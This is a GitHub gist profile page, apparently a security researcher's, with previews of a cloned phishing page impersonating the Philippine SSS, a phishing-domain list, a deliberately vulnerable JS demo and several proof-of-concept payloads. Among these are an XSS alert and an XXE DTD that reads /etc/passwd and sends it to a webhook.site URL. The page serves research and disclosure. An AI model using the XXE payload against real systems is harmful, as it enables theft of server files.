Skip to content

Instantly share code, notes, and snippets.

View ajdumanhug's full-sized avatar
🏠
Working from home

Aj Dumanhug ajdumanhug

🏠
Working from home
153 followers · 76 following
View GitHub Profile
@ajdumanhug
ajdumanhug / misss.molbiie.com.src
Created June 1, 2025 02:23
Source code of the malicious website pretending to be MySSS
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="referrer" content="never" />
<title>Republic of the Philippines Social Security System</title>
<meta
name="description"
content="The MySSS is the official mobile app of the Philippine Social Security System"
@ajdumanhug
ajdumanhug / install.sh
Created April 4, 2025 13:52
daloradius install script
#!/bin/bash
# daloRADIUS - RADIUS Web Platform
# Copyright (C) 2007 - Liran Tal <[email protected]> All Rights Reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
@ajdumanhug
ajdumanhug / phishing.urls
Created January 15, 2025 03:10
attemplate.com
exportants.it
resetts.it
bankmenia.com
exportants.org
resetts.org
bankmenia.de
financerta.com
salarytoolint.com
bankmenia.es
@ajdumanhug
ajdumanhug / vulnerable.js
Created August 28, 2024 08:23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Vulnerable JavaScript Example</title>
<script>
const secret = "SuperSecret123";
function login() {
@ajdumanhug
ajdumanhug / xss-poc.svg
Created December 14, 2023 08:47
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@ajdumanhug
ajdumanhug / index.html
Created September 20, 2023 18:45
Simple Login Form Animated
<div class="login">
<div class="form">
<h2>NOT WORKING YET!</h2>
<h3>Login</h3>
<input type="text" placeholder="Username">
<input type="password" placeholder="Password">
<input type="submit" value="Sign In" class="submit">
</div>
</div>
@ajdumanhug
ajdumanhug / jwks.json
Last active September 20, 2023 18:00
{
"keys": [
{
"alg": "RS256",
"x5c": [
"MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAqrgOv9Czows21TmZA8UJ+B2VG4oDtCYBQ3s1y6V6v4gCAA4tnLtrQc4sUqsiJ4X78UBEV7eVnOYXgb4kuzVhuurzifI/ky6A0TekoaANxTyNLx0RucpzT23iyyix6NKCUD9o5jg7K0Lt8tBi8hOl7VomFpBcxPPI7S5BzewJS+QCJj3QQB8cgC047HRUEaJKRcPb5VPcNleGjc7caZUqtbVZETfp0OsIdPuUa0s6c8ZIrTfDrdG74HYlX8BY5rsJT39nSpFO/cDjHm2jgXbVbvmRzZ/hkasxO0q+uTKqPZVfa30leHzvCn1heuVgut9WlCxNrtjR3lmr8HKis3b5tvdUZNCyBv4OgJ0dxrBpa4SVDjnfjzCTx6krqkyRs5meOOZ5FntKT7Q700q49U/04mskamce244TbN2sP4ino26Mjfn175pq1VDU5gh+4yelfYzCUFiz+5xOqpmoAZn3xI4WzvrWwZCiLXQGTgKhwpskfKTMQ5k8ytWCR80wU1epDIYMbFGTauIVLouiQPC1xDTJA7sq/sC2Zf44+qCctO0Kc2gh77em5QmT/a7cG7D4Ct76dzTmy+04mKEMM+K1AFZGzt4GlvaRlGZ5zWsWzHw8oIimQP1Ua90aHU/uotbKLcxTzQZQ/WqXnUWgmi6LtxcCq2B+kDB380liDMt2nFkCAwEAAQ=="
]
}
]
}
@ajdumanhug
ajdumanhug / xxe.dtd
Last active February 1, 2023 17:43
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % xxe "<!ENTITY exfil SYSTEM 'https://webhook.site/1b43cfb3-3c7c-490e-b77c-37aa66ef9e3b/?data=%file;'>">
%xxe;
@ajdumanhug
ajdumanhug / test.json
Created May 17, 2022 07:19
{
"url": "https://gist.githubusercontent.com/ajdumanhug/596672ed001e78288c8516c28aa6575f/raw/50e54cec13ea40f3115dcf45e60fbca531b1eb90/test.yaml",
"urls": [
{
"url": "https://gist.githubusercontent.com/ajdumanhug/596672ed001e78288c8516c28aa6575f/raw/50e54cec13ea40f3115dcf45e60fbca531b1eb90/test.yaml",
"name": "Foo"
}
]
}
@ajdumanhug
ajdumanhug / xss.js
Created May 17, 2022 06:42
alert(/XSS by AJ/);